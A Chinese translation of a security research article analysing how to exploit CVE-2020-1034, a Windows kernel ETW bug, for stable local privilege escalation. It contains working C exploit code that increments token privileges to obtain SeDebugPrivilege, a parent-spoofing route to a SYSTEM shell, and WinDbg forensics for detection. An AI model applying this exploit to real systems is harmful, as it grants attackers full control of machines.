只需35个“简单”步骤:Windows内核EtwpNotifyGuid漏洞利用分析(CVE-2020-1034) - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

只需35个“简单”步骤:Windows内核EtwpNotifyGuid漏洞利用分析(CVE-2020-1034)

41yf1sh 漏洞 2020-12-04 10:45:00
739503
收藏

导语:目前网上大多都是用BSOD蓝屏来证明漏洞存在的PoC,而我们则希望探究如何稳定利用这个漏洞,以及对应的防御方法。

0x00 概述

9月,微软发布了CVE-2020-1034漏洞的补丁。这是一个非常关键的漏洞,但目前网上没有太多的漏洞分析,因此我想将它作为案例进行研究。目前的一些演讲和文章都聚焦于漏洞自身、发现过程和研究,最终都是用PoC来展示成功的“漏洞利用”过程,即体现为BSOD蓝屏,内核地址设置为0x41414141。这样的呈现形式比较引人注目,但是我还是希望能深入挖掘崩溃之后的漏洞利用过程,即如何能稳定利用这个漏洞,并且最好能不被轻易发现。

这篇文章将详细介绍这个漏洞本身,我关注到其他研究人员在分析过程中,都主要展示了汇编代码的截图,以及带有魔法数和未初始化堆栈变量的数据结构。但实际上,如果借助微软的公共符号文件(PDB)、SDK头文件和IDA的Hex-rays Decompiler之类的工具,我们可以用更加容易理解的方式来分析这一漏洞,并揭示出实际的根本原因。本文将重点探讨该漏洞所涉及的Windows机制,以及如何利用漏洞来创建稳定的利用程序,从而在不导致计算机崩溃的情况下实现本地特权提升。

0x01 漏洞描述

简而言之,CVE-2020-1034是EtwpNotifyGuid中存在的一个输入验证漏洞,允许增加任意地址。该函数没有考虑特定输入参数(ReplyRequested)的所有可能值,并且0和1以外的值会将输入缓冲区内的地址视为对象指针,并尝试对其进行引用,这会导致ObjectAddress - offsetof(OBJECT_HEADER, Body)产生增量。导致这一问题的根本原因,实质上是一项检查,在其中的一个地方下使用了!= FALSE的布尔型逻辑,而在另一个地方使用的是== TRUE。那么假如取值为2,无法通过== TRUE的判断,但却能够通过!= FALSE的判断。

NtTraceControl接收输入缓冲区作为其第二个参数。在触发漏洞的情况下,缓冲区将从ETWP_NOTIFICATION_HEADER类型的结构开始。这个输入参数会传递到EtwpNotifyGuid,进行如下检查:

1.png

如果NotificationHeader->ReplyRequested为1,则结构的ReplyObject字段将填充一个新的UmReplyObject。接下来,通知标头或实际的内核副本会被传递到EtwpSendDataBlock,在这里我们发现了漏洞:

2.png

如果NotificationHeader->ReplyRequested不为0,则会调用ObReferenceObject,它将获取在对象主体之前找到的OBJECT_HEADER,并将PointerCount递增1。现在我们发现了问题所在,ReplyRequested并非只能为0或1的单独的一个bit,它是布尔型,可以是0到0xFF之间的任意值。除1之外的任何非零值都会让ReplyObject字段产生变化,但仍将使用为这个字段提供的(用户模式)调用方的任意地址来调用ObReferenceObject,从而导致任意地址的增加。由于PointerCount是OBJECT_HEADER中的第一个字段,因此这意味着要递增的地址是NotificationHeader->ReplyObject - offsetof(OBJECT_HEADER, Body)中的地址。

要修复这个漏洞,方法非常简单,只需要对EtwpNotifyGuid进行简单的修改:

if (notificationHeader->ReplyRequested != FALSE)
{
    status = EtwpCreateUmReplyObject((ULONG_PTR)etwGuidEntry,
                                     &Handle,
                                     &replyObject);
    if (NT_SUCCESS(status))
    {
        notificationHeader->ReplyObject = replyObject;
        goto alloacteDataBlock;
    }
}
else
{
    ...
}

ReplyRequested中的任何非零值都将导致分配一个新的reply对象,该对象将覆盖调用方的值。

从表面上看,这个漏洞似乎很容易利用,但实际上并非如此。特别是,如果我们希望让漏洞利用过程逃避检测、难以被发现,就更加困难。所以,我们继续研究该漏洞是如何触发的,然后尝试进行利用。

0x02 触发方式

该漏洞是通过具有以下签名的NtTraceControl触发的:

NTSTATUS
NTAPI
NtTraceControl (
    _In_ ULONG Operation,
    _In_ PVOID InputBuffer,
    _In_ ULONG InputSize,
    _In_ PVOID OutputBuffer,
    _In_ ULONG OutputSize,
    _Out_ PULONG BytesReturned
);

如果我们查看NtTraceControl内部代码,可以了解触发漏洞所需发送的参数的信息:

3.png

该函数使用switch语句来处理Operation参数,需要使用EtwSendDataBlock (17)来到达EtwpNotifyGuid。这里还有一些关于大小的要求,并且我们注意到,需要使用的NotificationType不应该是EtwNotificationTypeEnable,因为这会导致我们进入到EtwpEnableGuid。NotificationType字段还有其他的一些限制,我们很快就会看到。

值得注意的是,这个代码路径由Win32导出函数EtwSendNotification调用,Geoff Chappel在其博客文章上对此进行了描述。根据Geoff的描述,有关Notify GUID的信息也非常有价值。

我们来看一下ETWP_NOTIFICATION_HEADER结构,看看这里还需要考虑哪些其他字段:

typedef struct _ETWP_NOTIFICATION_HEADER
{
    ETW_NOTIFICATION_TYPE NotificationType;
    ULONG NotificationSize;
    LONG RefCount;
    BOOLEAN ReplyRequested;
    union
    {
        ULONG ReplyIndex;
        ULONG Timeout;
    };
    union
    {
        ULONG ReplyCount;
        ULONG NotifyeeCount;
    };
    union
    {
        ULONGLONG ReplyHandle;
        PVOID ReplyObject;
        ULONG RegIndex;
    };
    ULONG TargetPID;
    ULONG SourcePID;
    GUID DestinationGuid;
    GUID SourceGuid;
} ETWP_NOTIFICATION_HEADER, *PETWP_NOTIFICATION_HEADER;

我们已经分析过其中的某些字段,而其余的字段有一部分是与漏洞利用无关的,可以忽略。接下来,从最重要的一个字段开始分析,即DestinationGuid。

0x03 找到正确的GUID

ETW主要是基于提供者(provider)和使用者(consumer),其中的提供者负责通知某些事件,而使用者可以选择由一个或多个提供者进行通知。系统中每个提供者和使用者都以GUID进行标识。

这里的漏洞就位于ETW通知机制中,这个机制以前是WMI,但现在已经变为ETW的一部分。在发送通知时,我们实际上是在通知特定的GUID,因此必须要精心选择一个有效的GUID。

第一个要求是选择系统上实际存在的GUID:

4.png

EtwpNotifyGuid中发生的第一件事是调用EtwpFindGuidEntryByGuid,并传入DestinationGuid,然后对返回的ETW_GUID_ENTRY进行访问检查。

寻找已注册的GUID

为了找到可以成功传递此代码的GUID,我们首先应该回顾一下ETW内部原理。内核具有一个名为PspHostSiloGlobals的全局变量,它是指向ESERVERSILO_GLOBALS结构的指针。这个结构包含一个EtwSiloState字段,该字段是ETW_SILODRIVERSTATE结构。该结构中包含许多ETW管理所需的信息,我们这里重点需要研究的是其中的EtwpGuidHashTables。这是一个由64个ETW_HASH_BUCKETS结构组成的数组。如果要为GUID找到合适的bucket,需要使用以下方式对其进行哈希处理: (Guid->Data1 ^ (Guid->Data2 ^ Guid->Data4[0] ^ Guid->Data4[4])) & 0x3F。这个系统可能是为查找GUID的内核结构实现了一种高性能的方式,因为计算GUID哈希比迭代列表要快。

每个bucket中包含一个锁和三个链表,分别对应于ETW_GUID_TYPE的三个值:

5.png

这些列表包含ETW_GUID_ENTRY类型的结构,其中包含每个注册的GUID所需的所有信息:

6.png

正如我们在前面截图中所看到的,EtwpNotifyGuid将EtwNotificationGuid类型作为ETW_GUID_TYPE来传递(除非NotificationType为EtwNotificationTypePrivateLogger,但是随后我们了解到,不应该使用这种类型)。我们可以通过WinDbg来打印系统上以EtwNotificationGuidType注册的所有ETW提供者,并查看哪些是我们可以选择的。

当调用EtwpFindGuidEntryByGuid时,它将接收到指向ETW_SILODRIVERSTATE、要搜索的GUID以及该GUID所属的ETW_GUID_TYPE的指针,并为这个GUID返回ETW_GUID_ENTRY。如果没有找到GUID,则返回NULL,并且EtwpNotifyGuid将以STATUS_WMI_GUID_NOT_FOUND退出。

dx -r0 @$etwNotificationGuid = 1
dx -r0 @$GuidTable = ((nt!_ESERVERSILO_GLOBALS*)&nt!PspHostSiloGlobals)->EtwSiloState->EtwpGuidHashTable 
dx -g @$GuidTable.Select(bucket => bucket.ListHead[@$etwNotificationGuid]).Where(list => list.Flink != &list).Select(list => (nt!_ETW_GUID_ENTRY*)(list.Flink)).Select(Entry => new { Guid = Entry->Guid, Refs = Entry->RefCount, SD = Entry->SecurityDescriptor, Reg = (nt!_ETW_REG_ENTRY*)Entry->RegListHead.Flink})

7.png

我发现,我的系统上只注册了一个活动的GUID!这个GUID对于我们的漏洞利用可能很有帮助,但在进行此操作之前,我们还需要查看一些与其相关的更多细节。

在前面的图中,我们可以看到ETW_GUID_ENTRY内部的RegListHead字段。这是ETW_REG_ENTRY结构的链表,每个结构都描述了提供者的注册实例,因为同一提供者可以通过相同或不同的进程进行多次注册。我们将获取这个GUID (25)的哈希,并从其RegList中打印一些信息:

dx -r0 @$guidEntry = (nt!_ETW_GUID_ENTRY*)(@$GuidTable.Select(bucket => bucket.ListHead[@$etwNotificationGuid])[25].Flink)
dx -g Debugger.Utility.Collections.FromListEntry(@$guidEntry->RegListHead, "nt!_ETW_REG_ENTRY", "RegList").Select(r => new {Caller = r.Caller, SessionId = r.SessionId, Process = r.Process, ProcessName = ((char[15])r.Process->ImageFileName)->ToDisplayString("s"), Callback = r.Callback, CallbackContext = r.CallbackContext})

8.png

这个GUID有6个实例,通过6个不同的进程在系统上注册。这很酷,但是可能会导致我们的利用变得不稳定——在通知GUID时,所有已注册条目都会得到通知,并可能尝试处理该请求。这会导致两个问题:

1、我们无法准确预测漏洞利用会对目标地址产生多少增量,因为我们可以为每个注册实例获得一个增量(但不能保证,稍后将进行解释)。

2、注册了该提供者的每个进程,都可以尝试使用计划外的其他方式来使用我们的虚假通知。他们可能会尝试使用虚假事件,或者读取某些格式不正确的数据,从而导致崩溃。例如,如果通知的NotificationType = EtwNotificationTypeAudio,那么Audiodg.exe将尝试处理该消息,这会导致内核释放ReplyObject。由于ReplyObject不是实际的对象,这就导致系统立即崩溃。我没有详细测试过其他情况,但可以肯定的一点是,即使使用其他的NotificationType,最终仍然会导致崩溃,因为某些已注册的进程试图将通知作为真实的通知来处理。

由于我们的目标是创建一个稳定可靠的漏洞利用程序,不能让系统崩溃,因此看来GUID不适合我们。但是,这是系统中唯一已注册的提供者,除了它之外,我们还能利用什么呢?

自定义GUID

实际上,我们可以注册我们自己的提供者。这样一来,就可以保证没有其他人可以使用它,并且我们可以完全对其进行控制。EtwNotificationRegister允许我们使用所选的GUID注册新的提供者。

我先剧透一下,这个方法最终是行不通的。但原因是什么呢?

如同Windows上的所有内容,ETW_GUID_ENTRY具有安全描述符,用于描述允许不同的用户和组对其执行哪些操作。正如我们在之前的截图中看到的,在通知GUID之前,EtwpNotifyGuid调用EtwpAccessCheck来检查GUID是否为试图通知的用户设置了WMIGUID_NOTIFICATION访问权限。

为了测试这一点,我注册了一个新的提供者,当我们以与之前相同的方式转储注册的提供者时,可以看到:

9.png

在这里,可以使用!sd命令打印安全描述符(下面没有展示完整列表):

10.png

安全描述符由组(SID)和ACCESS_MASK(ACL)组成。每个组都使用一个SID来表示,形式为“S-1-...”,还包括一个掩码,描述了允许该组对该对象执行的操作。由于我们以具有中等完整性级别的普通用户身份运行,因此通常只能做一些比较有限的事情。我们的进程涉及到的组主要是Everyone(S-1-1-0)和Users(S-1-5-32-545)。正如我们在这里所看到的,ETW_GUID_ENTRY的默认安全描述符不包含“Users”的任何特定访问掩码,而“Everyone”的访问掩码为0x1800(TRACELOG_JOIN_GROUP | TRACELOG_REGISTER_GUIDS)。更高的访问掩码代表着更高的特权级别,例如Local System和Administrator。由于我们的用户没有这个GUID的WMIGUID_NOTIFICATION特权,因此当我们尝试通知它的时候,漏洞利用将会失败。

也就是说,除非在安装了Visual Studio的计算机上运行。这样一来,默认的安全描述符会更改,并且“性能日志用户”(Performance Log Users,基本上是任何登录的用户)都会获得各种有趣的特权,其中也包括我们关心的两个特权。但是,我们可以假设漏洞利用程序没有在安装了VS的计算机上运行,而是纯净版的Windows计算机。

事实上,并非所有的GUID都使用默认的安全描述符。可以通过注册表项 HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Security来更改GUID的访问权限。

11.png

这里包含使用非默认安全描述符的系统中的所有GUID。其中的数据是GUID的安全描述符,但由于此处显示为REG_BINARY,因此很难以这种方式进行解析。

理想情况下,我们只需要在这里添加新的GUID和允许的配置,然后继续触发漏洞即可。但遗憾的是,让任何用户更改GUID的安全描述符都会破坏Windows安全模型,因此,这个注册表项的访问权限只能留给了SYSTEM、Administrators和EventLog。

12.png

如果我们的默认安全描述符不够强大,并且没有特权进程,那么就无法使用自定义的GUID。

Living Off the Land

幸运的是,我们还有第三个选项。在注册表项中,还有许多其他GUID已经具有修改的权限。其中,有一个是允许非特权用户使用WMIGUID_NOTIFICATION的。

我们面临另一个问题,在这种情况下,WMIGUID_NOTIFICATION是不够的。由于这些GUID都不是注册提供者,因此我们首先需要对其进行注册,然后才能进行漏洞利用。在通过 EtwNotificationRegister注册提供者时,请求通过NtTraceControl到达 EtwpRegisterUMGuid,并在这里进行检查:

13.png

为了能够使用现有的GUID,我们需要它允许普通用户同时使用WMIGUID_NOTIFICATION和TRACELOG_REGISTER_GUIDS。我们动用了PowerShell,由于其语法比较奇特,我们近乎放弃了,改用C语言编写注册表解析工具。我们遍历了注册表项的所有GUID,并检查“Everyone”(S-1-1-0)的安全描述符,打印出至少允许一种所需权限的GUID:

$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Security"
foreach($line in (Get-Item $RegPath).Property) { $mask = (New-Object System.Security.AccessControl.RawSecurityDescriptor ((Get-ItemProperty $RegPath | select -Expand $line), 0)).DiscretionaryAcl | where SecurityIdentifier -eq S-1-1-0 | select AccessMask; if ($mask -and [Int64]($mask.AccessMask) -band 0x804) { $line; $mask.AccessMask.ToString("X")}}

14.png

除了我们已知的GUID外,这里没有找到同时允许两个权限的其他GUID。

我们再次使用脚本,这次检查“Users”(S-1-5-32-545)的权限:

foreach($line in Get-Content C:\Users\yshafir\Desktop\guids.txt) { $mask = (New-Object System.Security.AccessControl.RawSecurityDescriptor ((Get-ItemProperty $RegPath | select -Expand $line), 0)).DiscretionaryAcl | where SecurityIdentifier -eq S-1-5-32-545 | select AccessMask; if ($mask -and [Int64]($mask.AccessMask) -band 0x804) { $line; $mask.AccessMask.ToString("X")}}

16.png

这里发现了多个GUID可以满足我们的需求。我们可以选择其中的任何一个来编写漏洞利用程序。

在我的尝试过程中,我选择了截图中的第二个GUID {4838fe4f-f71c-4e51-9ecc-8430a7ac4c6c},属于“内核空闲状态更改事件”。这个选择完全是随机的,选择其他的任何一个理论上也可以。

0x04 选择递增的地址

现在就到了简单的部分,注册我们的新GUID,选择一个地址进行递增,然后触发漏洞利用。但是,我们要递增哪个地址?

实现特权提升的最简单方法就是token特权:

dx ((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->Privileges
((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->Privileges                 [Type: _SEP_TOKEN_PRIVILEGES]   
[+0x000] Present          : 0x602880000 [Type: unsigned __int64]   
[+0x008] Enabled          : 0x800000 [Type: unsigned __int64]   
[+0x010] EnabledByDefault : 0x40800000 [Type: unsigned __int64]

在检查进程或线程是否可以在系统中执行某些操作时,内核会检查token特权,包括Present和Enabled位。在我们的场景中,这使得特权提升相对容易。如果我们想给进程一个特定的特权,例如允许我们打开系统中任意进程句柄的SE_DEBUG_PRIVILEGE,那么只需要增加该进程token的特权即可,直到它包含我们想要的特权。

通过一些简单的步骤就可以实现:

1、打开进程token的句柄。

2、获取内核中token对象的地址,同时使用NtQuerySystemInformation和SystemHandleInformation类,接收系统中的所有句柄,并进行循环,直至找到与token匹配的句柄并保存对象地址。

3、根据token内的偏移量计算Privileges.Present和Privileges.Enabled的地址。

4、使用我们找到的GUID,注册新的提供者。

5、构建恶意的ETWP_NOTIFICATION_HEADER结构,并以正确的次数(对于SE_DEBUG_PRIVILEGE来说是0x100000)调用NtTraceControl来使得Privileges.Present递增,然后再次让Privileges.Enabled递增。

理论上可行,但在我们实际尝试的过程中,会发现并不会增加0x100000。实际上,Present仅增加了4,而Enabled保持不变。要了解这是为什么,我们还需要回到ETW的内部原理…

0x05 插槽及限制

前面我们看到了GUID条目是如何在内核中呈现的,并且每个GUID可以注册多个ETW_REG_ENTRY结构,以表示每个注册实例。在收到GUID通知后,该通知将获得所有注册实例的队列(因为我们希望所有进程都接到通知)。为此,ETW_REG_ENTRY有一个ReplyQueue,其中包含4个ReplySlot条目。每一个都会指向ETW_REG_ENTRY结构,该结构包含处理请求所需的信息——通知程序提供的数据块、恢复对象、标志等等。

17.png

与漏洞利用无关,我们多提一句,ETW_REG_ENTRY也包含所有GUID中等待这一进程的所有队列通知的链表,这可能会成为到达不同GUID和进程的另外一种方法。

由于每个ETW_REG_ENTRY只有4个回复插槽(slot),因此在任何时候都只能有4个通知等待回复。如果4个插槽已满,那么任何通知都无法再进行处理。EtwpQueueNotification将引用ReplyObject中提供的“对象”,只会在看到回复插槽已满时才立即取消引用。

18.png

在通常情况下,这并不是问题,因为等待通知的消费者可以很快处理通知,几乎会立即将其从队列中移除。但是,对于我们的通知来说,由于使用了一个没有其他人使用的GUID,因此没有人在等待这些通知。最重要的是,我们发送的是一些损坏的通知,这些通知的ReplyRequested字段设置为非零,但没有将有效的ETW注册对象设置为其ReplyObject(因为我们使用的是任意指针)。即使我们自己回复通知,内核也会尝试将ReplyObject视为有效的ETW注册对象,这很可能会以另一种方式导致系统崩溃。

这里似乎进入了死路,我们无法回复我们的通知,同时也没有人会回复,这意味着无法释放ETW_REG_ENTRY中的插槽,最多只能有4条通知。由于释放插槽可能会导致系统崩溃,这也意味着我们的进程一旦触发漏洞就无法退出。当进程退出时,其所有句柄都会关闭,这会导致释放所有队列中的通知。

让我们的进程保持活动状态并不是太大的问题,但是只用4个递增值可以做些什么呢?事实上,如果充分了解ETW的工作原理,我们只使用1次递增就可以。

0x06 提供者注册到Rescue

现在我们知道,每个注册的提供者最多只能有4条通知等待答复。但好消息是,即使对于同一个GUID,我们也可以注册多个提供者。并且,由于所有通知都已经在GUID所有已注册实例中排队,因此我们甚至不需要分别通知每个实例。我们可以注册X个提供者,仅发送一个通知,并以目标地址的X增量来接收。或者,我们可以发送4条通知,并得到4X的增量。

19.png

那么,我们可以注册0x100000提供者,然后用“错误的”ETW通知对其进行通知,并在token中获取SE_DEBUG_PRIVILEGE并最终实现漏洞利用?

不完全是这样。

使用EtwNotificationRegister注册提供者时,该函数首先需要分配和初始化内部注册数据结构,这个结构会发送到NtTraceControl以注册提供者。该数据结构是由EtwpAllocateRegistration分配的,我们在其中看到了以下检查:

20.png

Ntdll仅允许这个进程最多注册0x800提供者。如果该进程的当前已注册的提供者数量为0x800,则函数将返回,操作失败。

当然,我们可以尝试分析内部结构,自行分配并直接调用NtTraceControl来绕过这个过程。但是,我不建议这样做。因为这是一项复杂的工作,当ntdll尝试为未知的提供者处理答复时,可能会产生意料之外的副作用。

相反,我们可以采用更简单的方式:我们想将特权增加0x100000。如果我们将特权看作是单独的字节,而不是DWORD,那么实际上,仅需要将第三个字节增加0x10即可:

21.png

为了使我们的漏洞利用更加简单,并且只需要0x10的增量,我们针对Privileges.Present和Privileges.Enabled,都向目标地址增加2个字节。如果我们使用找到的GUID注册0x10提供者,然后向Privileges.Present的目标地址发送通知,再向Privileges.Enabled发送通知,就可以进一步减少对NtTraceControl的调用数量。

现在,在编写漏洞利用程序之前,我们还需要做一件事——创建恶意通知。

0x07 通知头部字段

ReplyRequested

正如我们在文章开头所看到的,该漏洞是使用ETWP_NOTIFICATION_HEADER结构调用NtTraceControl而触发的,其中ReplyRequested的值不是0或1。在这里,我将值设置为2,但实际上可以使用2到0xFF之间的任何其他值。

NotificationType

随后,我们需要从ETW_NOTIFICATION_TYPE枚举中选择一个通知类型:

typedef enum _ETW_NOTIFICATION_TYPE
{
    EtwNotificationTypeNoReply = 1,
    EtwNotificationTypeLegacyEnable = 2,
    EtwNotificationTypeEnable = 3,
    EtwNotificationTypePrivateLogger = 4,
    EtwNotificationTypePerflib = 5,
    EtwNotificationTypeAudio = 6,
    EtwNotificationTypeSession = 7,
    EtwNotificationTypeReserved = 8,
    EtwNotificationTypeCredentialUI = 9,
    EtwNotificationTypeMax = 10,
} ETW_NOTIFICATION_TYPE;

前面已经看到,我们不能选择EtwNotificationTypeEnable类型,因为这会进入到不同的代码路径,不会触发漏洞。

我们也不能使用EtwNotificationTypePrivateLogger或EtwNotificationTypeFilteredPrivateLogger。这两个类型会将目标GUID更改为PrivateLoggerNotificationGuid,同时需要具有TRACELOG_GUID_ENABLE访问权限。这个访问权限对于普通用户来说是不可用的。像EtwNotificationTypeSession和EtwNotificationTypePerflib的其他类型已经在系统中使用了,如果某些系统组件尝试将我们的通知处理为已知类型,那么很可能会导致意外结果,因此也要避免这些类型。

有两种最为安全的类型,分别是EtwNotificationTypeReserved(在系统中没有被任何人使用)和EtwNotificationTypeCredentialUI(仅在打开和关闭UAC弹窗时在来自consent.exe的通知中使用,不发送任何信息)。在这里,我选择了EtwNotificationTypeCredentialUI。

NotificationSize

正如我们在NtTraceControl中看到的,NotificationSize字段必须至少为sizeof(ETWP_NOTIFICATION_HEADER)。我们只需要这些,因此我们将让它具有准确的大小。

ReplyObject

我们需要在地址上增加offsetof(OBJECT_HEADER, Body),对象头部包含对象所在的前8个字节,因此我们不应该在计算中再包含它们,否则就会有8字节的偏移量。为此,我们再添加两个字节,这样就能直接增加第三个字节了,这第三个字节也是我们关注的字节。

除了我们已经讨论过很多的DestinationGuid之外,我们并不关注其他字段,并且也不在我们的代码路径中使用,因此可以将其保留为0。

0x08 构造漏洞利用

现在,我们可以触发攻击,并尝试获取新的特权。

注册提供者

首先,需要注册0x10提供者。这个过程非常容易,这里没有太多要说明的内容。为了让注册成功,我们需要创建一个回调。每当通知提供者,并且可以回复该通知时,就会调用这个方法。我选择在这个回调中不作任何事情,但这是该机制中一个有趣的部分,可以用来进行一些尝试,例如将其用于注入技术。

出于篇幅考虑,我们在这里就先定义一个不执行任何操作的精简版回调。

ULONG
EtwNotificationCallback (
    _In_ ETW_NOTIFICATION_HEADER* NotificationHeader,
    _In_ PVOID Context
    )
{
    return 1;
}

然后使用我们选择的GUID,注册0x10提供者:

REGHANDLE regHandle;
for (int i = 0; i < 0x10; i++)
{
    result = EtwNotificationRegister(&EXPLOIT_GUID,
                                     EtwNotificationTypeCredentialUI,
                                     EtwNotificationCallback,
                                     NULL,
                                     &regHandle);
    if (!SUCCEEDED(result))
    {
        printf("Failed registering new provider\n");
        return 0;
    }
}

我重新使用了相同的句柄,因为我们不打算关闭这些句柄。关闭它们会导致释放已使用的插槽,从而导致系统崩溃。

通知标头

完成所有这些工作后,我们终于有了提供者和所需的所有通知字段,可以构建通知标头并触发漏洞利用。先前,我说明了如何获取token的地址,因此在这里不再赘述,我们假设已经获取到了token的地址。

首先,计算要增加的两个地址:

presentPrivilegesAddress = (PVOID)((ULONG_PTR)tokenAddress +
                           offsetof(TOKEN, Privileges.Present) + 2);
enabledPrivilegesAddress = (PVOID)((ULONG_PTR)tokenAddress +
                           offsetof(TOKEN, Privileges.Enabled) + 2);

然后,定义数据块,并将其归零:

ETWP_NOTIFICATION_HEADER dataBlock;
RtlZeroMemory(&dataBlock, sizeof(dataBlock));

填充所有需要的字段:

dataBlock.NotificationType = EtwNotificationTypeCredentialUI;
dataBlock.ReplyRequested = 2;
dataBlock.NotificationSize = sizeof(dataBlock);
dataBlock.ReplyObject = (PVOID)((ULONG_PTR)(presentPrivilegesAddress) +
                        offsetof(OBJECT_HEADER, Body));
dataBlock.DestinationGuid = EXPLOIT_GUID;

最后,使用我们的通知标头,调用NtTraceControl。在这里也可以将dataBlock作为输出缓冲区,但是我们决定定义一个新的ETWP_NOTIFICATION_HEADER。

status = NtTraceControl(EtwSendDataBlock,
                        &dataBlock,
                        sizeof(dataBlock),
                        &outputBuffer,
                        sizeof(outputBuffer),
                        &returnLength);

然后,使用相同的值重新填充字段,将ReplyObject设置为(PVOID)((ULONG_PTR)(enabledPrivilegesAddress) + offsetof(OBJECT_HEADER, Body)),然后再次调用NtTraceControl以增加我们的Enabled特权。

然后,查看token:

22.png

现在,就得到了SeDebugPrivilege!

0x09 利用SeDebugPrivilege

一旦获得SeDebugPrivilege后,我们就可以访问系统中的任何进程。这样一来,就为我们提供了多种方式可以以SYSTEM权限运行代码,比如将代码注入到系统进程1中。

我选择使用我和Alex在Faxhell演示过的技术——创建一个新进程,并将其父进程设置为一个合法的系统级进程,这就会导致新进程以SYSTEM权限运行。对于父进程的选择,我是用的是DcomLaunch服务。

可以在有关Faxhell的文章中找到有关此技术的完整说明,我在这里简单说明步骤:

1、利用漏洞得到SeDebugPrivilege。

2、打开DcomLaunch服务,查询该服务以接收PID,然后使用PROCESS_ALL_ACCESS打开该进程。

3、初始化进程属性,并将PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性和句柄传递给DcomLaunch,以将其设置为父级。

4、使用这些属性创建一个新进程。

按照上述步骤操作,我们就获得了一个以SYSTEM身份运行的cmd进程。

23.png

0x0A 取证

由于这种漏洞会留下永远不会删除掉的排队通知,因此如果我们知道要查找的位置,就可以很容易地在内存中找到它。

我们回到前面的WinDbg命令,并解析GUID表。这次,我们还将标头添加到ETW_REG_ENTRY列表中,并在列表中添加项目数:

dx -r0 @$GuidTable = ((nt!_ESERVERSILO_GLOBALS*)&nt!PspHostSiloGlobals)->EtwSiloState->EtwpGuidHashTable
dx -g @$GuidTable.Select(bucket => bucket.ListHead[@$etwNotificationGuid]).Where(list => list.Flink != &list).Select(list => (nt!_ETW_GUID_ENTRY*)(list.Flink)).Select(Entry => new { Guid = Entry->Guid, Refs = Entry->RefCount, SD = Entry->SecurityDescriptor, Reg = (nt!_ETW_REG_ENTRY*)Entry->RegListHead.Flink, RegCount = Debugger.Utility.Collections.FromListEntry(Entry->RegListHead, "nt!_ETW_REG_ENTRY", "RegList").Count()})

24.png

不出所料,我们可以在这里看到3个GUID,第一个GUID是我们第一次检查时已经在系统注册的,第二个GUID用于我们的漏洞利用以及测试GUID。

现在,我们可以使用第二个命令来查看谁正在使用这些GUID。遗憾的是,没有好方法能一次性查看到所有GUID的信息,因此我们需要逐一查看。在进行实际的取证分析时,我们需要查看所有GUID(可以编写一个自动化工具),在这里我们已经知道漏洞利用使用了哪个GUID,因此只关注它即可。

我们将GUID条目保存在插槽42中:

dx -r0 @$exploitGuid = (nt!_ETW_GUID_ENTRY*)(@$GuidTable.Select(bucket => bucket.ListHead[@$etwNotificationGuid])[42].Flink)

在列表中打印有关所有已注册实例的信息:

dx -g @$regEntries = Debugger.Utility.Collections.FromListEntry(@$exploitGuid->RegListHead, "nt!_ETW_REG_ENTRY", "RegList").Select(r => new {ReplyQueue = r.ReplyQueue, ReplySlot = r.ReplySlot, UsedSlots = r.ReplySlot->Where(s => s != 0).Count(), Caller = r.Caller, SessionId = r.SessionId, Process = r.Process, ProcessName = ((char[15])r.Process->ImageFileName)->ToDisplayString("s"), Callback = r.Callback, CallbackContext = r.CallbackContext})

25.png

可以看到,所有实例都是通过同一进程注册的(通常名为“exploit_part_1”)。这非常可疑,因为通常情况下,一个进程没有理由多次注册同一个GUID,这就说明需要进行进一步分析。

如果我们想进一步调查这些可疑条目,可以查看通知队列:

dx -g @$regEntries[0].ReplySlot

26.png

这就更加可疑了,因为其标志是ETW_QUEUE_ENTRY_FLAG_HAS_REPLY_OBJECT (2),但是它们的ReplyObject字段看起来并不正确,它们与对象的预期方式不符。

我们可以在其中一个对象上运行!pool,然后看到该地址实际上在token对象内部:

27.png

我们检查属于exploit_part_1进程的token的地址:

dx @$regEntries[0].Process->Token.Object & ~0xf
@$regEntries[0].Process->Token.Object & ~0xf : 0xffff908912ded0a0
? 0xffff908912ded112 - 0xffff908912ded0a0
Evaluate expression: 114 = 00000000`00000072

可以看到,在第一个ReplyObject中看到的地址是token地址之后的0x72字节,因此它位于这个进程的token中。由于ReplyObject应该指向ETW注册对象,并且不在token之中,因此这显然是一个进程的可疑行为。

0x0B Show Me The Code

完整PoC请参考:https://github.com/yardenshafir/CVE-2020-1034

0x0C 总结

通过这篇文章,我们应该能感受到,几乎已经不再存在“简单的漏洞利用”。即使像这个非常容易理解和触发的漏洞,也仍然需要对Windows内部机制的了解,并开展大量的工作,才能实际转换为不会触发系统崩溃的漏洞。即使如此,我们后续还有很多要继续研究的内容。

这类攻击非常有趣,因为它们不依赖于任何ROP或HVCI违反,并且与XFG、CET、页表、PatchGuard都无关。这样的漏洞简单、有效,仅仅在数据层面的这类攻击将永远是安全领域的一个致命弱点,并且很可能会一直以某种形式存在。

本文的重点是我们如何安全地利用该漏洞,一旦获得特权之后,就可以按照标准套路继续。在后续的文章中,我可能会展示一些与任意增量和token对象相关的其他事情,这些有趣和复杂的事情可能会导致攻击更难以检测。

本文翻译自:https://windows-internals.com/exploiting-a-simple-vulnerability-in-35-easy-steps-or-less/如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务